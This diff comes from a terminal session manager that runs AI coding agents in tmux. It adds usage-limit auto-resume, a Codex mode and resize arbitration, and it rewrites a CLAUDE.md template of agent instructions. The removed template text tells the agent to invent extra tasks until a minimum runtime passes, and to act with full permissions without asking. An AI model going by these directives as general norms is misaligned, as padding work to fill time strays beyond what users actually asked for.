get codexConfig(): CodexConfig | undefined {
|
||||
return this._codexConfig;
|
||||
}
|
||||
|
||||
// Note: _buildPermissionArgs removed — now using buildInteractiveArgs from session-cli-builder.ts
|
||||
|
||||
/**
|
||||
@@ -803,6 +829,39 @@ export class Session extends EventEmitter {
|
||||
this._autoOps.setAutoCompact(enabled, threshold, prompt);
|
||||
}
|
||||
|
||||
get autoResumeEnabled(): boolean {
|
||||
return this._autoOps.autoResumeEnabled;
|
||||
}
|
||||
|
||||
/** When the scheduled usage-limit auto-resume fires (epoch ms), or null. */
|
||||
get autoResumeAt(): number | null {
|
||||
return this._autoOps.autoResumeAt;
|
||||
}
|
||||
|
||||
/** True while the session is paused on a Claude usage limit (auto-resume armed). */
|
||||
get isLimitPaused(): boolean {
|
||||
return this._autoOps.isLimitPaused;
|
||||
}
|
||||
|
||||
setAutoResume(enabled: boolean): void {
|
||||
this._autoOps.setAutoResume(enabled);
|
||||
// Users typically enable this WHILE a session already sits paused — the
|
||||
// limit footer won't reprint on its own, so scan the recent buffer once.
|
||||
// Only a future reset time counts: stale scrollback must not arm a resume.
|
||||
if (enabled && !isExternalCliMode(this.mode)) {
|
||||
const tail = this._terminalBuffer.value.slice(-8192).replace(ANSI_ESCAPE_PATTERN_FULL, '');
|
||||
const detection = detectUsageLimitPause(tail);
|
||||
if (detection && detection.resetAt > Date.now()) {
|
||||
this._autoOps.processCleanData(tail);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** Restore auto-resume state (and a pending schedule) after Codeman restart. */
|
||||
restoreAutoResume(enabled: boolean, resumeAt?: number): void {
|
||||
this._autoOps.restoreAutoResume(enabled, resumeAt);
|
||||
}
|
||||
|
||||
get imageWatcherEnabled(): boolean {
|
||||
return this._imageWatcherEnabled;
|
||||
}
|
||||
@@ -847,6 +906,8 @@ export class Session extends EventEmitter {
|
||||
autoCompactEnabled: this._autoOps.autoCompactEnabled,
|
||||
autoCompactThreshold: this._autoOps.autoCompactThreshold,
|
||||
autoCompactPrompt: this._autoOps.autoCompactPrompt,
|
||||
autoResumeEnabled: this._autoOps.autoResumeEnabled,
|
||||
autoResumeAt: this._autoOps.autoResumeAt ?? undefined,
|
||||
imageWatcherEnabled: this._imageWatcherEnabled,
|
||||
totalCost: this._totalCost,
|
||||
inputTokens: this._totalInputTokens,
|
||||
@@ -865,6 +926,7 @@ export class Session extends EventEmitter {
|
||||
cliAccountType: this._cliAccountType || undefined,
|
||||
cliLatestVersion: this._cliLatestVersion || undefined,
|
||||
openCodeConfig: this._openCodeConfig,
|
||||
codexConfig: this._codexConfig,
|
||||
resumeSessionId: this._resumeSessionId,
|
||||
effort: this._effort,
|
||||
// envOverrides intentionally NOT on the public SessionState type — they must not
|
||||
@@ -1004,7 +1066,12 @@ export class Session extends EventEmitter {
|
||||
}
|
||||
|
||||
// Attach to the mux session via PTY
|
||||
// Query existing tmux window size so re-attach matches (avoids flicker from 120x40 default)
|
||||
// Prevent tmux from letting the newest browser attach dictate global window
|
||||
// size; accepted Codeman resize events update it explicitly below.
|
||||
mux.setManualWindowSize?.(this._muxSession!.muxName);
|
||||
// Query existing tmux window size so re-attach matches (avoids flicker from 120x40 default).
|
||||
// MUST go through the dedicated socket (mux.muxSocket); a bare `tmux display` hits the
|
||||
// default server, always fails for our socketed sessions, and silently falls back to 120x40.
|
||||
const { cols: ptyCols, rows: ptyRows } = queryTmuxWindowSize(this._muxSession!.muxName, mux.muxSocket);
|
||||
try {
|
||||
this.ptyProcess = pty.spawn(mux.getAttachCommand(), mux.getAttachArgs(this._muxSession!.muxName), {
|
||||
@@ -1038,7 +1105,7 @@ export class Session extends EventEmitter {
|
||||
|
||||
this._resetBuffers();
|
||||
|
||||
const modeLabel = this.mode === 'opencode' ? 'OpenCode' : 'Claude';
|
||||
const modeLabel = this.mode === 'opencode' ? 'OpenCode' : this.mode === 'codex' ? 'Codex' : 'Claude';
|
||||
console.log(
|
||||
`[Session] Starting interactive ${modeLabel} session` + (this._useMux ? ` (with ${this._mux!.backend})` : '')
|
||||
);
|
||||
@@ -1056,6 +1123,7 @@ export class Session extends EventEmitter {
|
||||
claudeMode: this._claudeMode,
|
||||
allowedTools: this._allowedTools,
|
||||
openCodeConfig: this._openCodeConfig,
|
||||
codexConfig: this._codexConfig,
|
||||
resumeSessionId: this._resumeSessionId,
|
||||
envOverrides: this._envOverrides,
|
||||
effort: this._effort,
|
||||
@@ -1070,6 +1138,7 @@ export class Session extends EventEmitter {
|
||||
claudeMode: this._claudeMode,
|
||||
allowedTools: this._allowedTools,
|
||||
openCodeConfig: this._openCodeConfig,
|
||||
codexConfig: this._codexConfig,
|
||||
resumeSessionId: this._resumeSessionId,
|
||||
envOverrides: this._envOverrides,
|
||||
effort: this._effort,
|
||||
@@ -1083,8 +1152,8 @@ export class Session extends EventEmitter {
|
||||
// For NEW mux sessions: wait for readiness then clean buffer
|
||||
// For RESTORED mux sessions: don't do anything - client will fetch buffer on tab switch
|
||||
if (!isRestored) {
|
||||
if (this.mode === 'opencode') {
|
||||
// OpenCode uses Bubble Tea TUI — no ❯ prompt to detect.
|
||||
if (isExternalCliMode(this.mode)) {
|
||||
// External CLIs use custom TUIs — no ❯ prompt to detect.
|
||||
// Wait for TUI to stabilize (output stops changing), then mark ready.
|
||||
// Don't clear the buffer — the TUI's initial render IS the useful content.
|
||||
// Emit needsRefresh so the client fetches the full buffer once the TUI has rendered.
|
||||
@@ -1139,6 +1208,10 @@ export class Session extends EventEmitter {
|
||||
if (this.mode === 'opencode') {
|
||||
throw new Error('OpenCode sessions require tmux. Direct PTY fallback is not supported.');
|
||||
}
|
||||
// Codex sessions require tmux for OPENAI_API_KEY injection via setenv
|
||||
if (this.mode === 'codex') {
|
||||
throw new Error('Codex sessions require tmux. Direct PTY fallback is not supported.');
|
||||
}
|
||||
try {
|
||||
// Pass --session-id to use the SAME ID as the Codeman session
|
||||
// This ensures subagents can be directly matched to the correct tab
|
||||
@@ -1216,6 +1289,7 @@ export class Session extends EventEmitter {
|
||||
this._isWorking = true;
|
||||
this._status = 'busy';
|
||||
this.emit('working');
|
||||
this._autoOps.notifyWorking();
|
||||
}
|
||||
this._awaitingIdleConfirmation = false;
|
||||
if (this.activityTimeout) clearTimeout(this.activityTimeout);
|
||||
@@ -1298,9 +1372,9 @@ export class Session extends EventEmitter {
|
||||
* PTY data chunk. Receives accumulated raw data to process in one batch.
|
||||
*/
|
||||
private _processExpensiveParsers(rawData: string): void {
|
||||
// Skip Claude-specific parsers for OpenCode sessions — Ralph tracker, BashToolParser,
|
||||
// token parsing, and CLI info parsing all depend on Claude's output format.
|
||||
if (this.mode === 'opencode') return;
|
||||
// Skip Claude-specific parsers for external CLI sessions (Ralph tracker,
|
||||
// BashToolParser, token + CLI-info parsing all depend on Claude's output format).
|
||||
if (isExternalCliMode(this.mode)) return;
|
||||
|
||||
// Lazy ANSI strip: only compute cleanData when a consumer actually needs it.
|
||||
let _cleanData: string | null = null;
|
||||
@@ -1322,6 +1396,11 @@ export class Session extends EventEmitter {
|
||||
this._bashToolParser.processCleanData(getCleanData());
|
||||
}
|
||||
|
||||
// Usage-limit pause detection (auto-resume on usage limit)
|
||||
if (this._autoOps.autoResumeEnabled) {
|
||||
this._autoOps.processCleanData(getCleanData());
|
||||
}
|
||||
|
||||
// Parse token count from status line (e.g., "123.4k tokens" or "5234 tokens")
|
||||
if (rawData.includes('token')) {
|
||||
this.parseTokensFromStatusLine(getCleanData());
|
||||
@@ -1350,6 +1429,7 @@ export class Session extends EventEmitter {
|
||||
this._isWorking = true;
|
||||
this._status = 'busy';
|
||||
this.emit('working');
|
||||
this._autoOps.notifyWorking();
|
||||
this._awaitingIdleConfirmation = false;
|
||||
if (this.activityTimeout) clearTimeout(this.activityTimeout);
|
||||
}
|
||||
@@ -2045,18 +2125,101 @@ export class Session extends EventEmitter {
|
||||
private _ptyCols = 120;
|
||||
private _ptyRows = 40;
|
||||
|
||||
/**
|
||||
* Live WebSocket connections that have announced a desktop viewport for this
|
||||
* session. While at least one is registered, small-viewport (mobile/tablet)
|
||||
* resizes are ignored so a phone glancing at the session can't reflow the
|
||||
* PTY under an active desktop view. Claims are connection-scoped: ws-routes
|
||||
* registers them on a desktop-typed resize and releases them on socket
|
||||
* close, so a mobile-only session (no desktop connected) keeps full control
|
||||
* of its own size — including narrowing below the spawn default.
|
||||
*
|
||||
* Deliberate tradeoff: claims are WS-only because only a socket has a
|
||||
* liveness signal. A desktop degraded to the stateless HTTP resize fallback
|
||||
* still applies its typed resizes but holds no claim, so a concurrent phone
|
||||
* can reflow it. This is cooperative UX arbitration, not a security
|
||||
* boundary — untyped (legacy/API) resizes bypass claims by design.
|
||||
*/
|
||||
private _desktopSizeClaims = new Set<symbol>();
|
||||
|
||||
/**
|
||||
* A desktop sizing claim only blocks small-viewport resizes while the
|
||||
* desktop is RECENTLY ACTIVE (claim registration or typed input within this
|
||||
* window). An abandoned-but-connected desktop tab (left open at home, screen
|
||||
* locked) must not hold a phone's view hostage: without this, the phone
|
||||
* renders a desktop-width stream in a narrow xterm — mid-word wraps, tmux
|
||||
* dot-fill, and Ink overdraw soup (the 0.9.8–0.9.12 mobile regression).
|
||||
*/
|
||||
private static readonly DESKTOP_CLAIM_IDLE_MS = 90_000;
|
||||
|
||||
/** Last evidence of a live desktop user (claim registered / typed input). */
|
||||
private _lastDesktopActivityAt = 0;
|
||||
|
||||
/** Last desktop-typed dimensions, for re-asserting after a mobile override. */
|
||||
private _lastDesktopDims: { cols: number; rows: number } | null = null;
|
||||
|
||||
/** True while a small viewport reflowed the pane past an idle desktop claim. */
|
||||
private _mobileSizeOverride = false;
|
||||
|
||||
/** Register a live desktop sizing claim (see _desktopSizeClaims). */
|
||||
claimDesktopSizing(token: symbol): void {
|
||||
this._desktopSizeClaims.add(token);
|
||||
this._lastDesktopActivityAt = Date.now();
|
||||
}
|
||||
|
||||
/** Release a desktop sizing claim when its connection goes away. */
|
||||
releaseDesktopSizing(token: symbol): void {
|
||||
this._desktopSizeClaims.delete(token);
|
||||
}
|
||||
|
||||
/**
|
||||
* Record desktop user activity (typed input over a claim-holding socket).
|
||||
* If a phone reflowed the pane while the desktop was idle, the desktop
|
||||
* layout is restored — "whoever is actively using the session wins".
|
||||
*/
|
||||
noteDesktopActivity(): void {
|
||||
this._lastDesktopActivityAt = Date.now();
|
||||
if (this._mobileSizeOverride && this._lastDesktopDims) {
|
||||
this._mobileSizeOverride = false;
|
||||
this.resize(this._lastDesktopDims.cols, this._lastDesktopDims.rows, { viewportType: 'desktop' });
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Resizes the PTY terminal dimensions.
|
||||
* Skips the resize if dimensions haven't changed to avoid triggering
|
||||
* unnecessary Ink full-screen redraws (visible flicker on tab switch).
|
||||
*
|
||||
* Arbitration: while a desktop connection holds a sizing claim AND has been
|
||||
* active within DESKTOP_CLAIM_IDLE_MS, resizes from small viewports
|
||||
* (mobile/tablet) are ignored — shrink AND grow would both reflow the
|
||||
* desktop view. Once the desktop goes idle, a phone may take the pane (the
|
||||
* desktop re-asserts its size on its next typed input via
|
||||
* noteDesktopActivity). Without a desktop connected, small viewports
|
||||
* control the PTY size freely.
|
||||
*
|
||||
* @param cols - Number of columns (width in characters)
|
||||
* @param rows - Number of rows (height in lines)
|
||||
*/
|
||||
resize(cols: number, rows: number): void {
|
||||
resize(cols: number, rows: number, options: { viewportType?: ResizeViewportType } = {}): void {
|
||||
const isSmallViewport = options.viewportType === 'mobile' || options.viewportType === 'tablet';
|
||||
if (options.viewportType === 'desktop') {
|
||||
this._lastDesktopDims = { cols, rows };
|
||||
this._lastDesktopActivityAt = Date.now();
|
||||
this._mobileSizeOverride = false;
|
||||
}
|
||||
if (isSmallViewport && this._desktopSizeClaims.size > 0) {
|
||||
if (Date.now() - this._lastDesktopActivityAt < Session.DESKTOP_CLAIM_IDLE_MS) {
|
||||
return;
|
||||
}
|
||||
this._mobileSizeOverride = true;
|
||||
}
|
||||
if (this.ptyProcess && (cols !== this._ptyCols || rows !== this._ptyRows)) {
|
||||
this._ptyCols = cols;
|
||||
this._ptyRows = rows;
|
||||
if (this._mux && this._muxSession) {
|
||||
this._mux.resizeWindow?.(this._muxSession.muxName, cols, rows);
|
||||
}
|
||||
this.ptyProcess.resize(cols, rows);
|
||||
}
|
||||
}
|
||||
@@ -2148,6 +2311,12 @@ export class Session extends EventEmitter {
|
||||
|
||||
this._clearAllTimers();
|
||||
|
||||
// Drop desktop sizing claims defensively. Sockets normally release their
|
||||
// own claim on close, but a hung client's close event can lag the session
|
||||
// teardown by up to a ping cycle — don't let a stale claim suppress
|
||||
// mobile resizes if this Session object sees any further use.
|
||||
this._desktopSizeClaims.clear();
|
||||
|
||||
// Immediately cleanup Promise callbacks to prevent orphaned references
|
||||
// during the rest of stop() processing (e.g., if mux kill times out)
|
||||
if (this.rejectPromise && !this._promptResolved) {
|
||||
|
||||
+47
-450
@@ -1,461 +1,58 @@
|
||||
# CLAUDE.md - Project Configuration
|
||||
# CLAUDE.md
|
||||
|
||||
## Setup
|
||||
Copy these files to your new project:
|
||||
- `CLAUDE.md` → project root
|
||||
- `.claude/settings.json` → `.claude/settings.json`
|
||||
<!--
|
||||
Generated by Codeman on [DATE]. This file is loaded into context at the
|
||||
start of every Claude Code session in this project.
|
||||
|
||||
Then update the Project Overview section below.
|
||||
Keep it short (target: under 200 lines). For each line ask: "would removing
|
||||
this cause Claude to make mistakes?" If not, cut it. Don't document what
|
||||
Claude can infer from the code itself (file layout, standard conventions,
|
||||
APIs) — bloat causes Claude to ignore the rules that matter.
|
||||
|
||||
---
|
||||
HTML comments like this one are stripped before loading, so fill-in notes
|
||||
cost no context. If this file grows too big, split into path-scoped rules
|
||||
in .claude/rules/*.md or import other files with @path/to/file syntax.
|
||||
-->
|
||||
|
||||
This file guides Claude Code when working in this repository.
|
||||
|
||||
## Project
|
||||
|
||||
## Project Overview
|
||||
<!-- Update this section with project-specific details -->
|
||||
- **Project Name**: [PROJECT_NAME]
|
||||
- **Description**: [PROJECT_DESCRIPTION]
|
||||
- **Tech Stack**: [TECHNOLOGIES_USED]
|
||||
- **Last Updated**: [DATE]
|
||||
|
||||
---
|
||||
## Commands
|
||||
|
||||
<!-- List the exact commands Claude can't guess — fill in as the project
|
||||
takes shape, then delete this comment:
|
||||
|
||||
| Task | Command |
|
||||
|------|---------|
|
||||
| Dev server | `npm run dev` |
|
||||
| Test (single file) | `npm test -- test/<file>.test.ts` |
|
||||
| Lint | `npm run lint` |
|
||||
| Build | `npm run build` |
|
||||
-->
|
||||
|
||||
## Code Style
|
||||
|
||||
<!-- Only rules that differ from language/framework defaults, one line each:
|
||||
- Use 2-space indentation
|
||||
- ES modules only — never require()
|
||||
-->
|
||||
|
||||
## Workflow
|
||||
|
||||
- Full permissions are granted: read, write, edit, and execute without asking.
|
||||
- Commit after every meaningful change; never batch unrelated work.
|
||||
- Use conventional commits (`feat:` `fix:` `docs:` `refactor:` `test:` `chore:`); the message says what changed and why.
|
||||
- Run the tests and linter before declaring any task done.
|
||||
- Keep README and docs in sync with code changes.
|
||||
|
||||
## Codeman Environment
|
||||
|
||||
This session is managed by **Codeman** and runs within a tmux session.
|
||||
This session is managed by Codeman and runs inside tmux (`CODEMAN_MUX=1` confirms it).
|
||||
|
||||
**Important**: Check for `CODEMAN_MUX=1` environment variable to confirm.
|
||||
- Do NOT attempt to kill your own tmux session
|
||||
- The session persists across disconnects - your work is safe
|
||||
- Token usage, costs, and background tasks are tracked externally
|
||||
|
||||
---
|
||||
|
||||
## Work Principles
|
||||
|
||||
### Autonomy
|
||||
Full permissions granted. Act decisively without asking - read, write, edit, execute freely.
|
||||
|
||||
### Git Discipline
|
||||
- **Commit after every meaningful change** - never batch unrelated work
|
||||
- Use conventional commits: `feat:`, `fix:`, `docs:`, `refactor:`, `test:`, `chore:`
|
||||
- Commit message = what changed + why (not how)
|
||||
|
||||
### Documentation
|
||||
- Update README.md when adding features or changing setup
|
||||
- Update this file's session log after work sessions
|
||||
- Keep docs in sync with code changes
|
||||
|
||||
### Thinking
|
||||
Extended thinking is enabled. Use deep reasoning for complex architectural decisions, difficult bugs, and multi-file changes.
|
||||
|
||||
### Task Tracking (TodoWrite)
|
||||
**ALWAYS use TodoWrite** to track tasks. This is non-negotiable for anything beyond trivial single-step work.
|
||||
|
||||
**When to use TodoWrite:**
|
||||
- Multi-step tasks (3+ steps)
|
||||
- Bug fixes requiring investigation
|
||||
- Feature implementations
|
||||
- Any work where progress tracking helps
|
||||
- When the user provides multiple requests
|
||||
|
||||
**How to use it:**
|
||||
1. **Before starting**: Break down the work into discrete todos
|
||||
2. **During work**: Mark each todo `in_progress` before starting, `completed` when done
|
||||
3. **One at a time**: Only ONE todo should be `in_progress` at any moment
|
||||
4. **Immediately**: Mark todos complete the moment they're done - don't batch
|
||||
|
||||
**Why this matters:**
|
||||
- Gives the user visibility into your progress
|
||||
- Prevents forgetting tasks mid-work
|
||||
- Creates accountability checkpoints
|
||||
- Makes complex work manageable
|
||||
|
||||
**Example workflow:**
|
||||
```
|
||||
User: "Add user authentication with JWT"
|
||||
|
||||
→ TodoWrite:
|
||||
- [ ] Research existing auth patterns in codebase
|
||||
- [ ] Implement JWT token generation
|
||||
- [ ] Add login endpoint
|
||||
- [ ] Add token validation middleware
|
||||
- [ ] Add protected route example
|
||||
- [ ] Write tests
|
||||
|
||||
→ Mark "Research existing auth patterns" as in_progress
|
||||
→ Do the research
|
||||
→ Mark as completed, mark next as in_progress
|
||||
→ Continue until all done
|
||||
```
|
||||
|
||||
**Anti-patterns to avoid:**
|
||||
- Starting work without creating todos first
|
||||
- Having multiple todos `in_progress` simultaneously
|
||||
- Batching completions at the end
|
||||
- Skipping TodoWrite for "simple" multi-step tasks
|
||||
|
||||
---
|
||||
|
||||
## When to Use Agents
|
||||
|
||||
**Explore agent**: Codebase investigation, finding files, understanding architecture
|
||||
```
|
||||
"Use explore agent to find all authentication-related code"
|
||||
```
|
||||
|
||||
**Parallel agents**: Independent tasks that don't conflict
|
||||
```
|
||||
"Research auth, database, and API modules in parallel using separate agents"
|
||||
```
|
||||
|
||||
**Background execution**: Long-running operations (tests, builds)
|
||||
```
|
||||
"Run the test suite in the background while I continue"
|
||||
```
|
||||
|
||||
**Sequential chaining**: When second task depends on first
|
||||
```
|
||||
"Use code-reviewer to find issues, then use fixer to resolve them"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Planning Mode (Automatic)
|
||||
|
||||
**Automatically enter planning mode** when ANY of these conditions apply:
|
||||
- Multi-file changes (3+ files affected)
|
||||
- Architectural decisions
|
||||
- Unclear or evolving requirements
|
||||
- Risk mitigation on core systems
|
||||
- New feature implementation
|
||||
- Refactoring existing functionality
|
||||
|
||||
**Do NOT ask** whether to enter planning mode - just enter it when conditions are met.
|
||||
|
||||
Planning mode flow: read-only exploration → create plan → get approval → execute.
|
||||
|
||||
**Skip planning mode** only for:
|
||||
- Single-file bug fixes
|
||||
- Typo corrections
|
||||
- Simple config changes
|
||||
- Tasks with explicit step-by-step instructions from user
|
||||
|
||||
---
|
||||
|
||||
## Ralph Wiggum Loop (Autonomous Work Mode)
|
||||
|
||||
Ralph loops enable persistent, autonomous work on large tasks. When active, you continue iterating until completion criteria are met or the loop is cancelled.
|
||||
|
||||
### Starting a Ralph Loop
|
||||
- Start: `/ralph-loop:ralph-loop`
|
||||
- Cancel: `/ralph-loop:cancel-ralph`
|
||||
- Help: `/ralph-loop:help`
|
||||
|
||||
### Time-Aware Loops
|
||||
|
||||
When the user specifies a **minimum duration** (e.g., "optimize for 8 hours", "work on this for 2 hours"), the loop becomes time-aware:
|
||||
|
||||
**At loop start:**
|
||||
```bash
|
||||
# Record start time
|
||||
date +%s > /tmp/ralph_start_time
|
||||
echo "Loop started at $(date)"
|
||||
```
|
||||
|
||||
**Check elapsed time periodically:**
|
||||
```bash
|
||||
START=$(cat /tmp/ralph_start_time)
|
||||
NOW=$(date +%s)
|
||||
ELAPSED_HOURS=$(echo "scale=2; ($NOW - $START) / 3600" | bc)
|
||||
echo "Elapsed: $ELAPSED_HOURS hours"
|
||||
```
|
||||
|
||||
**Time-aware behavior:**
|
||||
1. Complete all primary tasks from the user's prompt
|
||||
2. After primary tasks done, check elapsed time
|
||||
3. If minimum duration NOT reached:
|
||||
- **Do NOT output completion phrase**
|
||||
- Self-generate additional related tasks
|
||||
- Continue working until minimum time elapsed
|
||||
4. Only output completion phrase when:
|
||||
- ALL primary tasks complete AND
|
||||
- Minimum duration reached (or exceeded)
|
||||
|
||||
**Self-generating additional tasks when time remains:**
|
||||
- Code optimization (performance, readability, DRY)
|
||||
- Test coverage improvements
|
||||
- Edge case handling
|
||||
- Error message improvements
|
||||
- Documentation gaps
|
||||
- Security hardening
|
||||
- Accessibility improvements
|
||||
- Code cleanup and dead code removal
|
||||
- Dependency updates
|
||||
- Type safety improvements
|
||||
|
||||
**Example time-aware prompt:**
|
||||
```
|
||||
"Optimize the API endpoints for the next 4 hours. Focus on performance first,
|
||||
then code quality. Minimum runtime: 4 hours."
|
||||
Completion phrase: <promise>TIME_COMPLETE</promise>
|
||||
```
|
||||
|
||||
**Time-aware loop behavior:**
|
||||
```
|
||||
[Start loop, record timestamp]
|
||||
[Complete primary optimization tasks - 2 hours elapsed]
|
||||
[Check time: 2/4 hours - NOT done yet]
|
||||
[Self-generate: "Add caching to database queries"]
|
||||
[Self-generate: "Optimize N+1 queries"]
|
||||
[Self-generate: "Add request batching"]
|
||||
[Continue working... 4.5 hours elapsed]
|
||||
[Check time: 4.5/4 hours - minimum reached]
|
||||
[All tasks complete, tests pass]
|
||||
<promise>TIME_COMPLETE</promise>
|
||||
```
|
||||
|
||||
### How You Know You're in a Ralph Loop
|
||||
|
||||
The user started the loop with a prompt containing:
|
||||
- Clear task requirements
|
||||
- A **completion phrase** (e.g., `<promise>COMPLETE</promise>`)
|
||||
- **Optional: minimum duration** (e.g., "for the next 4 hours")
|
||||
- Iteration limits (handled by the system)
|
||||
|
||||
Your job: Keep working until ALL requirements are verifiably done AND minimum time reached (if specified), then output the exact completion phrase.
|
||||
|
||||
### Core Behaviors During Ralph Loop
|
||||
|
||||
**1. Work Incrementally**
|
||||
- Complete one sub-task at a time
|
||||
- Verify it works before moving to the next
|
||||
- Don't try to do everything in one pass
|
||||
|
||||
**2. Commit Frequently**
|
||||
- Commit after each meaningful completion
|
||||
- Creates recovery points if something breaks
|
||||
- Shows progress in git history
|
||||
```
|
||||
git add . && git commit -m "feat(auth): add token refresh endpoint"
|
||||
```
|
||||
|
||||
**3. Self-Correct Relentlessly**
|
||||
```
|
||||
Loop:
|
||||
1. Implement/fix
|
||||
2. Run tests
|
||||
3. If tests fail → read error, fix, go to 1
|
||||
4. Run linter
|
||||
5. If lint errors → fix, go to 1
|
||||
6. Commit
|
||||
7. Continue to next task
|
||||
```
|
||||
|
||||
**4. Track Progress**
|
||||
Update the session log in this file as you complete tasks:
|
||||
```markdown
|
||||
| Date | Tasks Completed | Files Changed | Notes |
|
||||
|------|-----------------|---------------|-------|
|
||||
| YYYY-MM-DD | Add auth endpoint | auth.ts, routes.ts | Tests passing |
|
||||
```
|
||||
|
||||
**5. Use Git History When Stuck**
|
||||
If something isn't working:
|
||||
```bash
|
||||
git log --oneline -10
|
||||
git diff HEAD~1
|
||||
```
|
||||
See what you already tried. Don't repeat failed approaches.
|
||||
|
||||
**6. Completion Phrase = Contract**
|
||||
Only output the completion phrase (e.g., `<promise>COMPLETE</promise>`) when:
|
||||
- ALL requirements from the original prompt are done
|
||||
- ALL tests pass
|
||||
- ALL linting passes
|
||||
- Changes are committed
|
||||
|
||||
**Never output the completion phrase early.** The loop only ends when you say it's done.
|
||||
|
||||
### What Makes Good Completion Criteria
|
||||
|
||||
The user should provide criteria that are:
|
||||
- **Verifiable**: Tests pass, lint clean, build succeeds
|
||||
- **Measurable**: "5 endpoints", "all files in src/", "zero errors"
|
||||
- **Binary**: Done or not done, no ambiguity
|
||||
|
||||
If the original prompt has vague criteria, ask clarifying questions before starting heavy work.
|
||||
|
||||
### Self-Correction Pattern (Include in Your Work)
|
||||
|
||||
```
|
||||
FOR EACH TASK:
|
||||
1. Implement the change
|
||||
2. Run tests (npm test, pytest, go test, cargo test, etc.)
|
||||
- If fail → read error, fix, retry
|
||||
3. Run linter (npm run lint, ruff, golangci-lint, etc.)
|
||||
- If fail → fix, go to step 2
|
||||
4. Verify manually if needed
|
||||
5. Commit with descriptive message
|
||||
6. Update session log
|
||||
7. Move to next task
|
||||
|
||||
WHEN ALL TASKS DONE:
|
||||
1. Run full test suite
|
||||
2. Run full lint
|
||||
3. Verify build succeeds
|
||||
4. Review all changes: git diff main
|
||||
5. Only then output completion phrase
|
||||
```
|
||||
|
||||
### Example: How to Think During Ralph Loop
|
||||
|
||||
**Original prompt**: "Add CRUD endpoints for todos with validation"
|
||||
|
||||
**Your approach**:
|
||||
```
|
||||
Task breakdown:
|
||||
- [ ] GET /todos (list)
|
||||
- [ ] POST /todos (create with validation)
|
||||
- [ ] GET /todos/:id (single)
|
||||
- [ ] PUT /todos/:id (update with validation)
|
||||
- [ ] DELETE /todos/:id
|
||||
- [ ] Tests for all endpoints
|
||||
|
||||
Starting with GET /todos...
|
||||
[implement]
|
||||
[test - passes]
|
||||
[commit: "feat(todos): add GET /todos endpoint"]
|
||||
[update session log]
|
||||
|
||||
Moving to POST /todos...
|
||||
[implement]
|
||||
[test - fails: validation not working]
|
||||
[fix validation]
|
||||
[test - passes]
|
||||
[commit: "feat(todos): add POST /todos with validation"]
|
||||
[update session log]
|
||||
|
||||
...continue until all done...
|
||||
|
||||
Final verification:
|
||||
[npm test - all pass]
|
||||
[npm run lint - clean]
|
||||
[npm run build - succeeds]
|
||||
|
||||
<promise>COMPLETE</promise>
|
||||
```
|
||||
|
||||
### When to NOT Output Completion Phrase
|
||||
|
||||
- Tests are failing (even one)
|
||||
- Lint errors exist
|
||||
- Build is broken
|
||||
- You skipped a requirement
|
||||
- You're unsure if something works
|
||||
- **Minimum duration not reached** (for time-aware loops)
|
||||
|
||||
Instead: Fix the issue, verify, then complete. For time-aware loops: generate more tasks and keep improving until minimum time elapsed.
|
||||
|
||||
### RALPH_STATUS Block (Required During Ralph Loop)
|
||||
|
||||
At the **END of every response** during a Ralph Loop, output this structured status block:
|
||||
|
||||
```
|
||||
---RALPH_STATUS---
|
||||
STATUS: IN_PROGRESS | COMPLETE | BLOCKED
|
||||
TASKS_COMPLETED_THIS_LOOP: <number>
|
||||
FILES_MODIFIED: <number>
|
||||
TESTS_STATUS: PASSING | FAILING | NOT_RUN
|
||||
WORK_TYPE: IMPLEMENTATION | TESTING | DOCUMENTATION | REFACTORING
|
||||
EXIT_SIGNAL: false | true
|
||||
RECOMMENDATION: <one line summary of what to do next>
|
||||
---END_RALPH_STATUS---
|
||||
```
|
||||
|
||||
**Rules:**
|
||||
- Output this block at the end of **every** response, no exceptions
|
||||
- Set `EXIT_SIGNAL` to `true` ONLY when ALL tasks are verifiably done
|
||||
- Set `STATUS` to `BLOCKED` when you need human intervention
|
||||
- Do NOT continue with busy work when `EXIT_SIGNAL` should be `true`
|
||||
- Do NOT forget the status block — it is required for loop tracking
|
||||
|
||||
### Testing Limits
|
||||
|
||||
- **LIMIT testing to ~20% of total effort** per loop
|
||||
- PRIORITIZE: Implementation > Documentation > Tests
|
||||
- Only write tests for NEW functionality
|
||||
- Do NOT refactor existing tests unless broken
|
||||
- Do NOT run tests repeatedly without implementing new features
|
||||
|
||||
### Exit Scenarios (When to Set EXIT_SIGNAL)
|
||||
|
||||
| Scenario | STATUS | EXIT_SIGNAL | Action |
|
||||
|----------|--------|-------------|--------|
|
||||
| All tasks completed, tests pass | COMPLETE | true | Output completion phrase |
|
||||
| No work remaining, specs done | COMPLETE | true | Output completion phrase |
|
||||
| Making normal progress | IN_PROGRESS | false | Continue to next task |
|
||||
| Test-only loop (no implementation) | IN_PROGRESS | false | Warn and shift to implementation |
|
||||
| Stuck on same error repeatedly | BLOCKED | false | Describe blocker, request help |
|
||||
| Needs human decision/intervention | BLOCKED | false | Describe what's needed |
|
||||
|
||||
**Anti-patterns to avoid:**
|
||||
- Setting `EXIT_SIGNAL: true` when tests are failing
|
||||
- Continuing to work when all tasks are genuinely done (busy work)
|
||||
- Running the same failing test repeatedly without changing approach
|
||||
- Adding features not in the original specifications
|
||||
- Refactoring working code instead of completing assigned tasks
|
||||
|
||||
---
|
||||
|
||||
## Code Standards
|
||||
|
||||
### Before Writing
|
||||
- Read existing code in the area you're modifying
|
||||
- Follow existing patterns and conventions
|
||||
- Check for similar implementations to reference
|
||||
|
||||
### During Implementation
|
||||
- Keep changes focused and minimal
|
||||
- Don't over-engineer
|
||||
- Write tests for new functionality
|
||||
|
||||
### After Implementation
|
||||
- Run tests
|
||||
- Update docs if needed
|
||||
- Commit with descriptive message
|
||||
|
||||
---
|
||||
|
||||
## Hooks Awareness
|
||||
|
||||
This project may have hooks that auto-format code after writes or validate operations. If a tool call behaves unexpectedly, hooks are likely the cause. Continue working - they're intentional.
|
||||
|
||||
---
|
||||
|
||||
## Session Log
|
||||
|
||||
| Date | Tasks Completed | Files Changed | Notes |
|
||||
|------|-----------------|---------------|-------|
|
||||
| [DATE] | Project created | CLAUDE.md | Initial setup |
|
||||
|
||||
---
|
||||
|
||||
## Current Task Queue
|
||||
|
||||
### Active Ralph Loop
|
||||
**Status**: Not Active
|
||||
**Completion Phrase**: -
|
||||
|
||||
### Pending Tasks
|
||||
- [ ] <!-- Add tasks here -->
|
||||
|
||||
---
|
||||
|
||||
## Implementation Plans
|
||||
|
||||
